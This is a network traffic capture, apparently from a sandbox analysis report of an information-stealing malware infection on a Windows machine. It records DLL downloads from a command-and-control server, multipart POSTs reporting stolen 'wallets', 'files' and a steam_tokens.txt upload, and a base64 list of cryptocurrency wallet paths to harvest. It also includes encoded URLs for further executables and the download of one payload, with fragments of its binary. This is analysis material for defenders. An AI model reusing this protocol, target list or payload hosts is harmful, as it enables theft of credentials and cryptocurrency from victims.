9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 6, 2024 08:17:46.762876034 CEST	88	OUT	GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 6, 2024 08:17:46.945446968 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Sep 6, 2024 08:17:48.570707083 CEST	92	OUT	GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 6, 2024 08:17:48.746326923 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 6, 2024 08:17:49.093055964 CEST	96	OUT	GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 6, 2024 08:17:49.281383038 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 6, 2024 08:17:50.538650990 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEB Host: 46.8.231.109 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Sep 6, 2024 08:17:51.270797968 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 6, 2024 08:17:51.418001890 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJ Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 62 31 30 32 61 62 36 31 38 36 36 65 31 30 36 66 33 30 30 34 63 36 35 61 32 36 62 62 66 35 32 63 32 65 30 62 34 65 62 34 34 39 64 30 64 63 37 62 31 35 31 63 63 61 33 32 61 38 30 36 62 62 39 34 30 63 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="message"wallets------EHJDHJKFIECAAKFIJJKJ--
Sep 6, 2024 08:17:51.736376047 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:51 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Sep 6, 2024 08:17:51.900949955 CEST	464	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGIJEGHDAECAKECAFCA Host: 46.8.231.109 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 62 31 30 32 61 62 36 31 38 36 36 65 31 30 36 66 33 30 30 34 63 36 35 61 32 36 62 62 66 35 32 63 32 65 30 62 34 65 62 34 34 39 64 30 64 63 37 62 31 35 31 63 63 61 33 32 61 38 30 36 62 62 39 34 30 63 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 2d 2d 0d 0a Data Ascii: ------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="message"files------IDGIJEGHDAECAKECAFCA--
Sep 6, 2024 08:17:52.117274046 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 6, 2024 08:17:52.185900927 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHIDHIEGIIIECAKEBFB Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 62 31 30 32 61 62 36 31 38 36 36 65 31 30 36 66 33 30 30 34 63 36 35 61 32 36 62 62 66 35 32 63 32 65 30 62 34 65 62 34 34 39 64 30 64 63 37 62 31 35 31 63 63 61 33 32 61 38 30 36 62 62 39 34 30 63 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GDHIDHIEGIIIECAKEBFBContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------GDHIDHIEGIIIECAKEBFBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GDHIDHIEGIIIECAKEBFBContent-Disposition: form-data; name="file"------GDHIDHIEGIIIECAKEBFB--
Sep 6, 2024 08:17:52.814795017 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 6, 2024 08:17:53.428051949 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDB Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 62 31 30 32 61 62 36 31 38 36 36 65 31 30 36 66 33 30 30 34 63 36 35 61 32 36 62 62 66 35 32 63 32 65 30 62 34 65 62 34 34 39 64 30 64 63 37 62 31 35 31 63 63 61 33 32 61 38 30 36 62 62 39 34 30 63 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="message"ybncbhylepme------FIIDBKJJDGHDHJKEHJDB--
Sep 6, 2024 08:17:53.708596945 CEST	339	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:53 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 112 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 51 32 4c 6a 49 35 4c 6a 49 7a 4e 53 34 31 4d 69 39 32 61 6d 64 6e 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 48 78 6f 64 48 52 77 4f 69 38 76 4e 44 59 75 4d 6a 6b 75 4d 6a 4d 31 4c 6a 55 79 4c 32 78 75 5a 57 59 75 5a 58 68 6c 66 44 42 38 4d 48 78 54 64 47 46 79 64 48 77 30 66 41 3d 3d Data Ascii: aHR0cDovLzQ2LjI5LjIzNS41Mi92amdnLmV4ZXwwfDB8U3RhcnR8NHxodHRwOi8vNDYuMjkuMjM1LjUyL2xuZWYuZXhlfDB8MHxTdGFydHw0fA==
Sep 6, 2024 08:17:56.210597038 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDB Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 62 31 30 32 61 62 36 31 38 36 36 65 31 30 36 66 33 30 30 34 63 36 35 61 32 36 62 62 66 35 32 63 32 65 30 62 34 65 62 34 34 39 64 30 64 63 37 62 31 35 31 63 63 61 33 32 61 38 30 36 62 62 39 34 30 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 2d 2d 0d 0a Data Ascii: ------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JJJJDAAECGHDGDGCGHDB--
Sep 6, 2024 08:17:56.623189926 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49775	46.29.235.52	80	3052	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 6, 2024 08:17:53.848382950 CEST	71	OUT	GET /vjgg.exe HTTP/1.1 Host: 46.29.235.52 Cache-Control: no-cache
Sep 6, 2024 08:17:54.476952076 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 06 Sep 2024 06:17:54 GMT Content-Type: application/octet-stream Content-Length: 301608 Last-Modified: Thu, 05 Sep 2024 22:53:24 GMT Connection: keep-alive ETag: "66da3664-49a28" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e9 35 da 66 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 0b 00 00 68 04 00 00 0a 00 00 00 00 00 00 de 86 04 00 00 20 00 00 00 a0 04 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 04 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 90 86 04 00 4b 00 00 00 00 a0 04 00 14 06 00 00 00 00 00 00 00 00 00 00 00 74 04 00 28 26 00 00 00 c0 04 00 0c 00 00 00 4c 86 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL5fh @ `Kt(&L H.textf h `.rsrcj@@.relocr@BH(&=0]+(aG0~:K( s((( ?rpsz6+(Vb(N+(xD((+(2(%( $%(j+((g(((04+(h8o(Xo?(0K 8( &S! b4 ni -a
Sep 6, 2024 08:17:54.477024078 CEST	1236	IN	Data Raw: 92 44 61 1e 13 09 20 30 a6 31 5d 13 0a 20 b5 df 6a 74 13 0b 20 e4 9e b8 7b 13 0c 20 28 0f ea 10 13 0d 20 1f ed fa 44 13 0e 20 4a 56 b0 59 13 0f 20 64 60 f4 39 13 10 20 ab b0 cf 20 13 11 11 05 11 10 5c 13 07 11 0f 11 0a 59 13 09 11 04 11 04 59 13 Data Ascii: Da 01] jt { ( D JVY d`9 \YY\AZjn<jnYmnjZmnj?\i]X ?8$XX ]X ?
Sep 6, 2024 08:17:54.477036953 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 02 00 00 00 36 00 00 00 14 00 00 00 13 00 00 00 16 00 00 00 19 00 00 00 2d 00 00 00 11 00 00 00 0a 00 00 00 05 00 00 00 02 00 00 00 01 00 00 00 03 00 00 00 0c 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00 0b 00 00 00 00 00 64 02 Data Ascii: 6-d AFMFTF\z 8R m Cz!F'zF<FF<F
Sep 6, 2024 08:17:54.477049112 CEST	672	IN	Data Raw: e8 05 00 00 02 00 e8 05 00 00 01 00 88 08 00 00 01 00 88 08 00 00 02 00 b1 08 00 00 03 00 ba 08 00 00 01 00 cb 08 09 00 3b 00 1e 00 29 00 3b 00 42 00 31 00 3b 00 1e 00 39 00 3b 00 1e 00 41 00 3b 00 1e 00 49 00 3b 00 1e 00 51 00 3b 00 1e 00 59 00 Data Ascii: ;);B1;9;A;I;Q;Y;a;i;q;y;;O;^;BNt;yVes;;Bk9;B9&8
Sep 6, 2024 08:17:54.477062941 CEST	1236	IN	Data Raw: ff ff 00 00 00 00 15 00 32 00 00 00 ff ff 00 00 00 00 01 00 00 00 0a 0b 00 00 b8 00 00 00 01 00 00 00 1a 0b 00 00 06 00 05 00 07 00 05 00 08 00 05 00 0b 00 0a 00 0e 00 0d 00 0f 00 0d 00 10 00 0d 00 11 00 0d 00 12 00 0d 00 13 00 0d 00 14 00 0d 00 Data Ascii: 2AVPAssemblyCopyrightAttributeSystem.Reflectionmscorlib.ctorVoidSystemStringBooleanRuntimeCompatibilityAttributeSystem.Runtime.CompilerServicesAssembl
Sep 6, 2024 08:17:54.477077961 CEST	224	IN	Data Raw: 7a 65 3d 31 38 00 5f 5f 53 74 61 74 69 63 41 72 72 61 79 49 6e 69 74 54 79 70 65 53 69 7a 65 3d 33 30 00 5f 5f 53 74 61 74 69 63 41 72 72 61 79 49 6e 69 74 54 79 70 65 53 69 7a 65 3d 33 32 00 5f 5f 53 74 61 74 69 63 41 72 72 61 79 49 6e 69 74 54 Data Ascii: ze=18__StaticArrayInitTypeSize=30__StaticArrayInitTypeSize=32__StaticArrayInitTypeSize=40__StaticArrayInitTypeSize=64__StaticArrayInitTypeSize=256f8DCCE167185DB5Em8DCCE167185DB5ETimeSpanDateTimeget_Nowop_Subtracti
Sep 6, 2024 08:17:54.477124929 CEST	1236	IN	Data Raw: 6f 6e 00 67 65 74 5f 44 61 79 73 00 4d 61 74 68 00 53 69 67 6e 00 45 78 63 65 70 74 69 6f 6e 00 2e 63 63 74 6f 72 00 6b 4c 6b 74 32 50 56 50 66 00 42 79 74 65 00 56 47 53 64 73 6f 49 4e 73 00 52 75 6e 74 69 6d 65 48 65 6c 70 65 72 73 00 49 6e 69 Data Ascii: onget_DaysMathSignException.cctorkLkt2PVPfByteVGSdsoINsRuntimeHelpersInitializeArrayArrayRuntimeFieldHandlestrSaBm2iRq5 Charget_CharsConsoleWriteget_LengthWriteLinerFVuGiXldjjqErRfogBZX1CZDaOFreeConsolekernel32.dllwB
